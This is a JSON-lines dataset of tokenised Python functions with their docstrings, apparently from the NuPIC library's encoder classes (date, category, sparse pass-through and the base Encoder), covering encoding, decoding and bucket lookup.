{"signature": "def getScalarNames(self, parentFieldName='<STR_LIT>'):", "body": "names = []<EOL>def _formFieldName(encoder):<EOL><INDENT>if parentFieldName == '<STR_LIT>':<EOL><INDENT>return encoder.name<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % (parentFieldName, encoder.name)<EOL><DEDENT><DEDENT>if self.seasonEncoder is not None:<EOL><INDENT>names.append(_formFieldName(self.seasonEncoder))<EOL><DEDENT>if self.dayOfWeekEncoder is not None:<EOL><INDENT>names.append(_formFieldName(self.dayOfWeekEncoder))<EOL><DEDENT>if self.customDaysEncoder is not None:<EOL><INDENT>names.append(_formFieldName(self.customDaysEncoder))<EOL><DEDENT>if self.weekendEncoder is not None:<EOL><INDENT>names.append(_formFieldName(self.weekendEncoder))<EOL><DEDENT>if self.holidayEncoder is not None:<EOL><INDENT>names.append(_formFieldName(self.holidayEncoder))<EOL><DEDENT>if self.timeOfDayEncoder is not None:<EOL><INDENT>names.append(_formFieldName(self.timeOfDayEncoder))<EOL><DEDENT>return names<EOL>", "docstring": "See method description in base.py", "id": "f17539:c0:m2"}
{"signature": "def getEncodedValues(self, input):", "body": "if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return numpy.array([None])<EOL><DEDENT>assert isinstance(input, datetime.datetime)<EOL>values = []<EOL>timetuple = input.timetuple()<EOL>timeOfDay = timetuple.tm_hour + float(timetuple.tm_min)/<NUM_LIT><EOL>if self.seasonEncoder is not None:<EOL><INDENT>dayOfYear = timetuple.tm_yday<EOL>values.append(dayOfYear-<NUM_LIT:1>)<EOL><DEDENT>if self.dayOfWeekEncoder is not None:<EOL><INDENT>dayOfWeek = timetuple.tm_wday + timeOfDay / <NUM_LIT><EOL>values.append(dayOfWeek)<EOL><DEDENT>if self.weekendEncoder is not None:<EOL><INDENT>if timetuple.tm_wday == <NUM_LIT:6> or timetuple.tm_wday == <NUM_LIT:5>or (timetuple.tm_wday == <NUM_LIT:4> and timeOfDay > <NUM_LIT>):<EOL><INDENT>weekend = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>weekend = <NUM_LIT:0><EOL><DEDENT>values.append(weekend)<EOL><DEDENT>if self.customDaysEncoder is not None:<EOL><INDENT>if timetuple.tm_wday in self.customDays:<EOL><INDENT>customDay = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>customDay = <NUM_LIT:0><EOL><DEDENT>values.append(customDay)<EOL><DEDENT>if self.holidayEncoder is not None:<EOL><INDENT>if len(self.holidays) == <NUM_LIT:0>:<EOL><INDENT>holidays = [(<NUM_LIT:12>, <NUM_LIT>)]<EOL><DEDENT>else:<EOL><INDENT>holidays = self.holidays<EOL><DEDENT>val = <NUM_LIT:0><EOL>for h in holidays:<EOL><INDENT>if len(h) == <NUM_LIT:3>:<EOL><INDENT>hdate = datetime.datetime(h[<NUM_LIT:0>], h[<NUM_LIT:1>], h[<NUM_LIT:2>], <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>hdate = datetime.datetime(timetuple.tm_year, h[<NUM_LIT:0>], h[<NUM_LIT:1>], <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>if input > hdate:<EOL><INDENT>diff = input - hdate<EOL>if diff.days == <NUM_LIT:0>:<EOL><INDENT>val = <NUM_LIT:1><EOL>break<EOL><DEDENT>elif diff.days == <NUM_LIT:1>:<EOL><INDENT>val = <NUM_LIT:1.0> - (float(diff.seconds) / <NUM_LIT>)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>diff = hdate - input<EOL>if diff.days == <NUM_LIT:0>:<EOL><INDENT>val = <NUM_LIT:1.0> - (float(diff.seconds) / <NUM_LIT>)<EOL><DEDENT><DEDENT><DEDENT>values.append(val)<EOL><DEDENT>if self.timeOfDayEncoder is not None:<EOL><INDENT>values.append(timeOfDay)<EOL><DEDENT>return values<EOL>", "docstring": "See method description in base.py", "id": "f17539:c0:m3"}
{"signature": "def getScalars(self, input):", "body": "return numpy.array(self.getEncodedValues(input))<EOL>", "docstring": "See method description in :meth:`~.nupic.encoders.base.Encoder.getScalars`.\n\n:param input: (datetime) representing the time being encoded\n\n:returns: A numpy array of the corresponding scalar values in the following\n          order: season, dayOfWeek, weekend, holiday, timeOfDay. Some of\n          these fields might be omitted if they were not specified in the\n          encoder.", "id": "f17539:c0:m4"}
{"signature": "def getBucketIndices(self, input):", "body": "if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return [None] * len(self.encoders)<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(input, datetime.datetime)<EOL>scalars = self.getScalars(input)<EOL>result = []<EOL>for i in xrange(len(self.encoders)):<EOL><INDENT>(name, encoder, offset) = self.encoders[i]<EOL>result.extend(encoder.getBucketIndices(scalars[i]))<EOL><DEDENT>return result<EOL><DEDENT>", "docstring": "See method description in base.py", "id": "f17539:c0:m5"}
{"signature": "def encodeIntoArray(self, input, output):", "body": "if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>output[<NUM_LIT:0>:] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>if not isinstance(input, datetime.datetime):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (<EOL>type(input), str(input)))<EOL><DEDENT>scalars = self.getScalars(input)<EOL>for i in xrange(len(self.encoders)):<EOL><INDENT>(name, encoder, offset) = self.encoders[i]<EOL>encoder.encodeIntoArray(scalars[i], output[offset:])<EOL><DEDENT><DEDENT>", "docstring": "See method description in base.py", "id": "f17539:c0:m6"}
{"signature": "def __init__(self, n, w=None, name=\"<STR_LIT>\", forced=False, verbosity=<NUM_LIT:0>):", "body": "super(SparsePassThroughEncoder, self).__init__(<EOL>n, w, name, forced, verbosity)<EOL>", "docstring": "n is the total bits in input\nw is the number of bits used to encode each input bit", "id": "f17540:c0:m0"}
{"signature": "def encodeIntoArray(self, value, output):", "body": "denseInput = numpy.zeros(output.shape)<EOL>try:<EOL><INDENT>denseInput[value] = <NUM_LIT:1><EOL><DEDENT>except IndexError:<EOL><INDENT>if isinstance(value, numpy.ndarray):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(<EOL>value.dtype))<EOL><DEDENT>raise<EOL><DEDENT>super(SparsePassThroughEncoder, self).encodeIntoArray(denseInput, output)<EOL>", "docstring": "See method description in base.py", "id": "f17540:c0:m1"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "<EOL>return (FieldMetaType.integer,)<EOL>", "docstring": "[Encoder class virtual method override]", "id": "f17541:c0:m1"}
{"signature": "def getScalars(self, input):", "body": "if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return numpy.array([None])<EOL><DEDENT>else:<EOL><INDENT>return numpy.array([self.categoryToIndex.get(input, <NUM_LIT:0>)])<EOL><DEDENT>", "docstring": "See method description in base.py", "id": "f17541:c0:m4"}
{"signature": "def getBucketIndices(self, input):", "body": "<EOL>if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return [None]<EOL><DEDENT>else:<EOL><INDENT>return self.encoder.getBucketIndices(self.categoryToIndex.get(input, <NUM_LIT:0>))<EOL><DEDENT>", "docstring": "See method description in base.py", "id": "f17541:c0:m5"}
{"signature": "def decode(self, encoded, parentFieldName='<STR_LIT>'):", "body": "<EOL>(fieldsDict, fieldNames) = self.encoder.decode(encoded)<EOL>if len(fieldsDict) == <NUM_LIT:0>:<EOL><INDENT>return (fieldsDict, fieldNames)<EOL><DEDENT>assert(len(fieldsDict) == <NUM_LIT:1>)<EOL>(inRanges, inDesc) = list(fieldsDict.values())[<NUM_LIT:0>]<EOL>outRanges = []<EOL>desc = \"<STR_LIT>\"<EOL>for (minV, maxV) in inRanges:<EOL><INDENT>minV = int(round(minV))<EOL>maxV = int(round(maxV))<EOL>outRanges.append((minV, maxV))<EOL>while minV <= maxV:<EOL><INDENT>if len(desc) > <NUM_LIT:0>:<EOL><INDENT>desc += \"<STR_LIT:U+002CU+0020>\"<EOL><DEDENT>desc += self.indexToCategory[minV]<EOL>minV += <NUM_LIT:1><EOL><DEDENT><DEDENT>if parentFieldName != '<STR_LIT>':<EOL><INDENT>fieldName = \"<STR_LIT>\" % (parentFieldName, self.name)<EOL><DEDENT>else:<EOL><INDENT>fieldName = self.name<EOL><DEDENT>return ({fieldName: (outRanges, desc)}, [fieldName])<EOL>", "docstring": "See the function description in base.py", "id": "f17541:c0:m7"}
{"signature": "def closenessScores(self, expValues, actValues, fractional=True,):", "body": "expValue = expValues[<NUM_LIT:0>]<EOL>actValue = actValues[<NUM_LIT:0>]<EOL>if expValue == actValue:<EOL><INDENT>closeness = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>closeness = <NUM_LIT:0.0><EOL><DEDENT>if not fractional:<EOL><INDENT>closeness = <NUM_LIT:1.0> - closeness<EOL><DEDENT>return numpy.array([closeness])<EOL>", "docstring": "See the function description in base.py\n\n        kwargs will have the keyword \"fractional\", which is ignored by this encoder", "id": "f17541:c0:m8"}
{"signature": "def getBucketValues(self):", "body": "if self._bucketValues is None:<EOL><INDENT>numBuckets = len(self.encoder.getBucketValues())<EOL>self._bucketValues = []<EOL>for bucketIndex in range(numBuckets):<EOL><INDENT>self._bucketValues.append(self.getBucketInfo([bucketIndex])[<NUM_LIT:0>].value)<EOL><DEDENT><DEDENT>return self._bucketValues<EOL>", "docstring": "See the function description in base.py", "id": "f17541:c0:m9"}
{"signature": "def getBucketInfo(self, buckets):", "body": "<EOL>bucketInfo = self.encoder.getBucketInfo(buckets)[<NUM_LIT:0>]<EOL>categoryIndex = int(round(bucketInfo.value))<EOL>category = self.indexToCategory[categoryIndex]<EOL>return [EncoderResult(value=category, scalar=categoryIndex,<EOL>encoding=bucketInfo.encoding)]<EOL>", "docstring": "See the function description in base.py", "id": "f17541:c0:m10"}
{"signature": "def topDownCompute(self, encoded):", "body": "encoderResult = self.encoder.topDownCompute(encoded)[<NUM_LIT:0>]<EOL>value = encoderResult.value<EOL>categoryIndex = int(round(value))<EOL>category = self.indexToCategory[categoryIndex]<EOL>return EncoderResult(value=category, scalar=categoryIndex,<EOL>encoding=encoderResult.encoding)<EOL>", "docstring": "See the function description in base.py", "id": "f17541:c0:m11"}
{"signature": "def _isSequence(obj):", "body": "mType = type(obj)<EOL>return mType is list or mType is tuple<EOL>", "docstring": "Helper function to determine if a function is a list or sequence.", "id": "f17542:m0"}
{"signature": "def getWidth(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Should return the output width, in bits.\n\n        :return: (int) output width in bits", "id": "f17542:c0:m0"}
{"signature": "def encodeIntoArray(self, inputData, output):", "body": "raise NotImplementedError()<EOL>", "docstring": "Encodes inputData and puts the encoded value into the numpy output array,\nwhich is a 1-D array of length returned by :meth:`.getWidth`.\n\n.. note:: The numpy output array is reused, so clear it before updating it.\n\n:param inputData: Data to encode. This should be validated by the encoder.\n:param output: numpy 1-D array of same length returned by\n       :meth:`.getWidth`.", "id": "f17542:c0:m1"}
{"signature": "def setLearning(self, learningEnabled):", "body": "<EOL>if hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self._learningEnabled = learningEnabled<EOL><DEDENT>", "docstring": "Set whether learning is enabled.\n\n        :param learningEnabled: (bool) whether learning should be enabled", "id": "f17542:c0:m2"}
{"signature": "def setFieldStats(self, fieldName, fieldStatistics):", "body": "pass<EOL>", "docstring": "This method is called by the model to set the statistics like min and\nmax for the underlying encoders if this information is available.\n\n:param fieldName: name of the field this encoder is encoding, provided by\n      :class:`~.nupic.encoders.multi.MultiEncoder`.\n\n:param fieldStatistics: dictionary of dictionaries with the first level being\n      the fieldname and the second index the statistic ie:\n      ``fieldStatistics['pounds']['min']``", "id": "f17542:c0:m3"}
{"signature": "def encode(self, inputData):", "body": "output = numpy.zeros((self.getWidth(),), dtype=defaultDtype)<EOL>self.encodeIntoArray(inputData, output)<EOL>return output<EOL>", "docstring": "Convenience wrapper for :meth:`.encodeIntoArray`.\n\n        This may be less efficient because it allocates a new numpy array every\n        call.\n\n        :param inputData: input data to be encoded\n        :return: a numpy array with the encoded representation of inputData", "id": "f17542:c0:m4"}
{"signature": "def getScalarNames(self, parentFieldName='<STR_LIT>'):", "body": "names = []<EOL>if self.encoders is not None:<EOL><INDENT>for (name, encoder, offset) in self.encoders:<EOL><INDENT>subNames = encoder.getScalarNames(parentFieldName=name)<EOL>if parentFieldName != '<STR_LIT>':<EOL><INDENT>subNames = ['<STR_LIT>' % (parentFieldName, name) for name in subNames]<EOL><DEDENT>names.extend(subNames)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if parentFieldName != '<STR_LIT>':<EOL><INDENT>names.append(parentFieldName)<EOL><DEDENT>else:<EOL><INDENT>names.append(self.name)<EOL><DEDENT><DEDENT>return names<EOL>", "docstring": "Return the field names for each of the scalar values returned by\ngetScalars.\n\n:param parentFieldName: The name of the encoder which is our parent. This\n    name is prefixed to each of the field names within this encoder to\n    form the keys of the dict() in the retval.\n\n:return: array of field names", "id": "f17542:c0:m5"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "if hasattr(self, '<STR_LIT>') andself._flattenedFieldTypeList is not None:<EOL><INDENT>return self._flattenedFieldTypeList<EOL><DEDENT>fieldTypes = []<EOL>for (name, encoder, offset) in self.encoders:<EOL><INDENT>subTypes = encoder.getDecoderOutputFieldTypes()<EOL>fieldTypes.extend(subTypes)<EOL><DEDENT>self._flattenedFieldTypeList = fieldTypes<EOL>return fieldTypes<EOL>", "docstring": "Returns a sequence of field types corresponding to the elements in the\ndecoded output field array.  The types are defined by\n:class:`~nupic.data.field_meta.FieldMetaType`.\n\n:return: list of :class:`~nupic.data.field_meta.FieldMetaType` objects", "id": "f17542:c0:m6"}
{"signature": "def setStateLock(self,lock):", "body": "pass<EOL>", "docstring": "Setting this to true freezes the state of the encoder\nThis is separate from the learning state which affects changing parameters.\nImplemented in subclasses.", "id": "f17542:c0:m7"}
{"signature": "def _getInputValue(self, obj, fieldName):", "body": "if isinstance(obj, dict):<EOL><INDENT>if not fieldName in obj:<EOL><INDENT>knownFields = \"<STR_LIT:U+002CU+0020>\".join(<EOL>key for key in list(obj.keys()) if not key.startswith(\"<STR_LIT:_>\")<EOL>)<EOL>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>fieldName, knownFields, fieldName<EOL>)<EOL>)<EOL><DEDENT>return obj[fieldName]<EOL><DEDENT>else:<EOL><INDENT>return getattr(obj, fieldName)<EOL><DEDENT>", "docstring": "Gets the value of a given field from the input record", "id": "f17542:c0:m8"}
{"signature": "def getEncoderList(self):", "body": "if hasattr(self, '<STR_LIT>') andself._flattenedEncoderList is not None:<EOL><INDENT>return self._flattenedEncoderList<EOL><DEDENT>encoders = []<EOL>if self.encoders is not None:<EOL><INDENT>for (name, encoder, offset) in self.encoders:<EOL><INDENT>subEncoders = encoder.getEncoderList()<EOL>encoders.extend(subEncoders)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>encoders.append(self)<EOL><DEDENT>self._flattenedEncoderList = encoders<EOL>return encoders<EOL>", "docstring": ":return: a reference to each sub-encoder in this encoder. They are\n         returned in the same order as they are for :meth:`.getScalarNames`\n         and :meth:`.getScalars`.", "id": "f17542:c0:m9"}
{"signature": "def getScalars(self, inputData):", "body": "retVals = numpy.array([])<EOL>if self.encoders is not None:<EOL><INDENT>for (name, encoder, offset) in self.encoders:<EOL><INDENT>values = encoder.getScalars(self._getInputValue(inputData, name))<EOL>retVals = numpy.hstack((retVals, values))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>retVals = numpy.hstack((retVals, inputData))<EOL><DEDENT>return retVals<EOL>", "docstring": "Returns a numpy array containing the sub-field scalar value(s) for\neach sub-field of the ``inputData``. To get the associated field names for\neach of the scalar values, call :meth:`.getScalarNames()`.\n\nFor a simple scalar encoder, the scalar value is simply the input unmodified.\nFor category encoders, it is the scalar representing the category string\nthat is passed in. For the datetime encoder, the scalar value is the\nthe number of seconds since epoch.\n\nThe intent of the scalar representation of a sub-field is to provide a\nbaseline for measuring error differences. You can compare the scalar value\nof the inputData with the scalar value returned from :meth:`.topDownCompute`\non a top-down representation to evaluate prediction accuracy, for example.\n\n:param inputData: The data from the source. This is typically an object with\n             members\n:return: array of scalar values", "id": "f17542:c0:m10"}
{"signature": "def getEncodedValues(self, inputData):", "body": "retVals = []<EOL>if self.encoders is not None:<EOL><INDENT>for name, encoders, offset in self.encoders:<EOL><INDENT>values = encoders.getEncodedValues(self._getInputValue(inputData, name))<EOL>if _isSequence(values):<EOL><INDENT>retVals.extend(values)<EOL><DEDENT>else:<EOL><INDENT>retVals.append(values)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if _isSequence(inputData):<EOL><INDENT>retVals.extend(inputData)<EOL><DEDENT>else:<EOL><INDENT>retVals.append(inputData)<EOL><DEDENT><DEDENT>return tuple(retVals)<EOL>", "docstring": "Returns the input in the same format as is returned by\n:meth:`.topDownCompute`. For most encoder types, this is the same as the\ninput data. For instance, for scalar and category types, this corresponds to\nthe numeric and string values, respectively, from the inputs. For datetime\nencoders, this returns the list of scalars for each of the sub-fields\n(timeOfDay, dayOfWeek, etc.)\n\nThis method is essentially the same as :meth:`.getScalars` except that it\nreturns strings.\n\n:param inputData: The input data in the format it is received from the data\n                  source\n\n:return: A list of values, in the same format and in the same order as they\n         are returned by :meth:`.topDownCompute`.", "id": "f17542:c0:m11"}
{"signature": "def getBucketIndices(self, inputData):", "body": "retVals = []<EOL>if self.encoders is not None:<EOL><INDENT>for (name, encoder, offset) in self.encoders:<EOL><INDENT>values = encoder.getBucketIndices(self._getInputValue(inputData, name))<EOL>retVals.extend(values)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert False, \"<STR_LIT>\"\"<STR_LIT>\"<EOL><DEDENT>return retVals<EOL>", "docstring": "Returns an array containing the sub-field bucket indices for each sub-field\nof the inputData. To get the associated field names for each of the buckets,\ncall :meth:`.getScalarNames`.\n\n:param inputData: The data from the source. This is typically an object with\n             members.\n:return: array of bucket indices", "id": "f17542:c0:m12"}
{"signature": "def scalarsToStr(self, scalarValues, scalarNames=None):", "body": "if scalarNames is None:<EOL><INDENT>scalarNames = self.getScalarNames()<EOL><DEDENT>desc = '<STR_LIT>'<EOL>for (name, value) in zip(scalarNames, scalarValues):<EOL><INDENT>if len(desc) > <NUM_LIT:0>:<EOL><INDENT>desc += \"<STR_LIT>\" % (name, value)<EOL><DEDENT>else:<EOL><INDENT>desc += \"<STR_LIT>\" % (name, value)<EOL><DEDENT><DEDENT>return desc<EOL>", "docstring": "Return a pretty print string representing the return values from\n:meth:`.getScalars` and :meth:`.getScalarNames`.\n\n:param scalarValues: input values to encode to string\n:param scalarNames: optional input of scalar names to convert. If None, gets\n                   scalar names from :meth:`.getScalarNames`\n:return: string representation of scalar values", "id": "f17542:c0:m13"}
{"signature": "def getDescription(self):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "**Must be overridden by subclasses.**\n\nThis returns a list of tuples, each containing (``name``, ``offset``).\nThe ``name`` is a string description of each sub-field, and ``offset`` is\nthe bit offset of the sub-field for that encoder.\n\nFor now, only the 'multi' and 'date' encoders have multiple (name, offset)\npairs. All other encoders have a single pair, where the offset is 0.\n\n:return: list of tuples containing (name, offset)", "id": "f17542:c0:m14"}
{"signature": "def getFieldDescription(self, fieldName):", "body": "<EOL>description = self.getDescription() + [(\"<STR_LIT:end>\", self.getWidth())]<EOL>for i in range(len(description)):<EOL><INDENT>(name, offset) = description[i]<EOL>if (name == fieldName):<EOL><INDENT>break<EOL><DEDENT><DEDENT>if i >= len(description)-<NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % fieldName)<EOL><DEDENT>return (offset, description[i+<NUM_LIT:1>][<NUM_LIT:1>] - offset)<EOL>", "docstring": "Return the offset and length of a given field within the encoded output.\n\n:param fieldName: Name of the field\n:return: tuple(``offset``, ``width``) of the field within the encoded output", "id": "f17542:c0:m15"}
{"signature": "def encodedBitDescription(self, bitOffset, formatted=False):", "body": "<EOL>(prevFieldName, prevFieldOffset) = (None, None)<EOL>description = self.getDescription()<EOL>for i in range(len(description)):<EOL><INDENT>(name, offset) = description[i]<EOL>if formatted:<EOL><INDENT>offset = offset + i<EOL>if bitOffset == offset-<NUM_LIT:1>:<EOL><INDENT>prevFieldName = \"<STR_LIT>\"<EOL>prevFieldOffset = bitOffset<EOL>break<EOL><DEDENT><DEDENT>if bitOffset < offset:<EOL><INDENT>break<EOL><DEDENT>(prevFieldName, prevFieldOffset) = (name, offset)<EOL><DEDENT>width = self.getDisplayWidth() if formatted else self.getWidth()<EOL>if prevFieldOffset is None or bitOffset > self.getWidth():<EOL><INDENT>raise IndexError(\"<STR_LIT>\" % width)<EOL><DEDENT>return (prevFieldName, bitOffset - prevFieldOffset)<EOL>", "docstring": "Return a description of the given bit in the encoded output.\nThis will include the field name and the offset within the field.\n\n:param bitOffset:      Offset of the bit to get the description of\n:param formatted:      If True, the bitOffset is w.r.t. formatted output,\n                      which includes separators\n:return:             tuple(``fieldName``, ``offsetWithinField``)", "id": "f17542:c0:m16"}
{"signature": "def pprintHeader(self, prefix=\"<STR_LIT>\"):", "body": "print(prefix, end='<STR_LIT:U+0020>')<EOL>description = self.getDescription() + [(\"<STR_LIT:end>\", self.getWidth())]<EOL>for i in range(len(description) - <NUM_LIT:1>):<EOL><INDENT>name = description[i][<NUM_LIT:0>]<EOL>width = description[i+<NUM_LIT:1>][<NUM_LIT:1>] - description[i][<NUM_LIT:1>]<EOL>formatStr = \"<STR_LIT>\" % width<EOL>if len(name) > width:<EOL><INDENT>pname = name[<NUM_LIT:0>:width]<EOL><DEDENT>else:<EOL><INDENT>pname = name<EOL><DEDENT>print(formatStr % pname, end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>print(prefix, \"<STR_LIT:->\" * (self.getWidth() + (len(description) - <NUM_LIT:1>)*<NUM_LIT:3> - <NUM_LIT:1>))<EOL>", "docstring": "Pretty-print a header that labels the sub-fields of the encoded\noutput. This can be used in conjuction with :meth:`.pprint`.\n\n:param prefix: printed before the header if specified", "id": "f17542:c0:m17"}
{"signature": "def pprint(self, output, prefix=\"<STR_LIT>\"):", "body": "print(prefix, end='<STR_LIT:U+0020>')<EOL>description = self.getDescription() + [(\"<STR_LIT:end>\", self.getWidth())]<EOL>for i in range(len(description) - <NUM_LIT:1>):<EOL><INDENT>offset = description[i][<NUM_LIT:1>]<EOL>nextoffset = description[i+<NUM_LIT:1>][<NUM_LIT:1>]<EOL>print(\"<STR_LIT>\" % bitsToString(output[offset:nextoffset]), end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>", "docstring": "Pretty-print the encoded output using ascii art.\n\n:param output: to print\n:param prefix: printed before the header if specified", "id": "f17542:c0:m18"}
{"signature": "def decode(self, encoded, parentFieldName='<STR_LIT>'):", "body": "fieldsDict = dict()<EOL>fieldsOrder = []<EOL>if parentFieldName == '<STR_LIT>':<EOL><INDENT>parentName = self.name<EOL><DEDENT>else:<EOL><INDENT>parentName = \"<STR_LIT>\" % (parentFieldName, self.name)<EOL><DEDENT>if self.encoders is not None:<EOL><INDENT>for i in range(len(self.encoders)):<EOL><INDENT>(name, encoder, offset) = self.encoders[i]<EOL>if i < len(self.encoders)-<NUM_LIT:1>:<EOL><INDENT>nextOffset = self.encoders[i+<NUM_LIT:1>][<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>nextOffset = self.width<EOL><DEDENT>fieldOutput = encoded[offset:nextOffset]<EOL>(subFieldsDict, subFieldsOrder) = encoder.decode(fieldOutput,<EOL>parentFieldName=parentName)<EOL>fieldsDict.update(subFieldsDict)<EOL>fieldsOrder.extend(subFieldsOrder)<EOL><DEDENT><DEDENT>return (fieldsDict, fieldsOrder)<EOL>", "docstring": "Takes an encoded output and does its best to work backwards and generate\nthe input that would have generated it.\n\nIn cases where the encoded output contains more ON bits than an input\nwould have generated, this routine will return one or more ranges of inputs\nwhich, if their encoded outputs were ORed together, would produce the\ntarget output. This behavior makes this method suitable for doing things\nlike generating a description of a learned coincidence in the SP, which\nin many cases might be a union of one or more inputs.\n\nIf instead, you want to figure the *most likely* single input scalar value\nthat would have generated a specific encoded output, use the\n:meth:`.topDownCompute` method.\n\nIf you want to pretty print the return value from this method, use the\n:meth:`.decodedToStr` method.\n\n:param encoded:      The encoded output that you want decode\n:param parentFieldName: The name of the encoder which is our parent. This name\n       is prefixed to each of the field names within this encoder to form the\n       keys of the dict() in the retval.\n\n:return: tuple(``fieldsDict``, ``fieldOrder``)\n\n          ``fieldsDict`` is a dict() where the keys represent field names\n          (only 1 if this is a simple encoder, > 1 if this is a multi\n          or date encoder) and the values are the result of decoding each\n          field. If there are  no bits in encoded that would have been\n          generated by a field, it won't be present in the dict. The\n          key of each entry in the dict is formed by joining the passed in\n          parentFieldName with the child encoder name using a '.'.\n\n          Each 'value' in ``fieldsDict`` consists of (ranges, desc), where\n          ranges is a list of one or more (minVal, maxVal) ranges of\n          input that would generate bits in the encoded output and 'desc'\n          is a pretty print description of the ranges. For encoders like\n          the category encoder, the 'desc' will contain the category\n          names that correspond to the scalar values included in the\n          ranges.\n\n          ``fieldOrder`` is a list of the keys from ``fieldsDict``, in the\n          same order as the fields appear in the encoded output.\n\n          TODO: when we switch to Python 2.7 or 3.x, use OrderedDict\n\nExample retvals for a scalar encoder:\n\n.. code-block:: python\n\n   {'amount':  ( [[1,3], [7,10]], '1-3, 7-10' )}\n   {'amount':  ( [[2.5,2.5]],     '2.5'       )}\n\nExample retval for a category encoder:\n\n.. code-block:: python\n\n   {'country': ( [[1,1], [5,6]], 'US, GB, ES' )}\n\nExample retval for a multi encoder:\n\n.. code-block:: python\n\n   {'amount':  ( [[2.5,2.5]],     '2.5'       ),\n    'country': ( [[1,1], [5,6]],  'US, GB, ES' )}", "id": "f17542:c0:m19"}
{"signature": "def decodedToStr(self, decodeResults):", "body": "(fieldsDict, fieldsOrder) = decodeResults<EOL>desc = '<STR_LIT>'<EOL>for fieldName in fieldsOrder:<EOL><INDENT>(ranges, rangesStr) = fieldsDict[fieldName]<EOL>if len(desc) > <NUM_LIT:0>:<EOL><INDENT>desc += \"<STR_LIT>\" % (fieldName)<EOL><DEDENT>else:<EOL><INDENT>desc += \"<STR_LIT>\" % (fieldName)<EOL><DEDENT>desc += \"<STR_LIT>\" % (rangesStr)<EOL><DEDENT>return desc<EOL>", "docstring": "Return a pretty print string representing the return value from\n:meth:`.decode`.", "id": "f17542:c0:m20"}
{"signature": "def getBucketValues(self):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "**Must be overridden by subclasses.**\n\nReturns a list of items, one for each bucket defined by this encoder.\nEach item is the value assigned to that bucket, this is the same as the\n:attr:`.EncoderResult.value` that would be returned by\n:meth:`.getBucketInfo` for that bucket and is in the same format as the\ninput that would be passed to :meth:`.encode`.\n\nThis call is faster than calling :meth:`.getBucketInfo` on each bucket\nindividually if all you need are the bucket values.\n\n:return: list of items, each item representing the bucket value for that\n         bucket.", "id": "f17542:c0:m21"}
{"signature": "def getBucketInfo(self, buckets):", "body": "<EOL>if self.encoders is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>retVals = []<EOL>bucketOffset = <NUM_LIT:0><EOL>for i in range(len(self.encoders)):<EOL><INDENT>(name, encoder, offset) = self.encoders[i]<EOL>if encoder.encoders is not None:<EOL><INDENT>nextBucketOffset = bucketOffset + len(encoder.encoders)<EOL><DEDENT>else:<EOL><INDENT>nextBucketOffset = bucketOffset + <NUM_LIT:1><EOL><DEDENT>bucketIndices = buckets[bucketOffset:nextBucketOffset]<EOL>values = encoder.getBucketInfo(bucketIndices)<EOL>retVals.extend(values)<EOL>bucketOffset = nextBucketOffset<EOL><DEDENT>return retVals<EOL>", "docstring": "Returns a list of :class:`.EncoderResult` namedtuples describing the inputs\nfor each sub-field that correspond to the bucket indices passed in\n``buckets``. To get the associated field names for each of the values, call\n:meth:`.getScalarNames`.\n\n:param buckets: The list of bucket indices, one for each sub-field encoder.\n               These bucket indices for example may have been retrieved\n               from the :meth:`.getBucketIndices` call.\n:return: A list of :class:`.EncoderResult`.", "id": "f17542:c0:m22"}
{"signature": "def topDownCompute(self, encoded):", "body": "<EOL>if self.encoders is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>retVals = []<EOL>for i in range(len(self.encoders)):<EOL><INDENT>(name, encoder, offset) = self.encoders[i]<EOL>if i < len(self.encoders)-<NUM_LIT:1>:<EOL><INDENT>nextOffset = self.encoders[i+<NUM_LIT:1>][<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>nextOffset = self.width<EOL><DEDENT>fieldOutput = encoded[offset:nextOffset]<EOL>values = encoder.topDownCompute(fieldOutput)<EOL>if _isSequence(values):<EOL><INDENT>retVals.extend(values)<EOL><DEDENT>else:<EOL><INDENT>retVals.append(values)<EOL><DEDENT><DEDENT>return retVals<EOL>", "docstring": "Returns a list of :class:`.EncoderResult` namedtuples describing the\ntop-down best guess inputs for each sub-field given the encoded output.\nThese are the values which are most likely to generate the given encoded\noutput. To get the associated field names for each of the values, call\n:meth:`.getScalarNames`.\n\n:param encoded: The encoded output. Typically received from the topDown\n                outputs from the spatial pooler just above us.\n\n:return: A list of :class:`.EncoderResult`", "id": "f17542:c0:m23"}
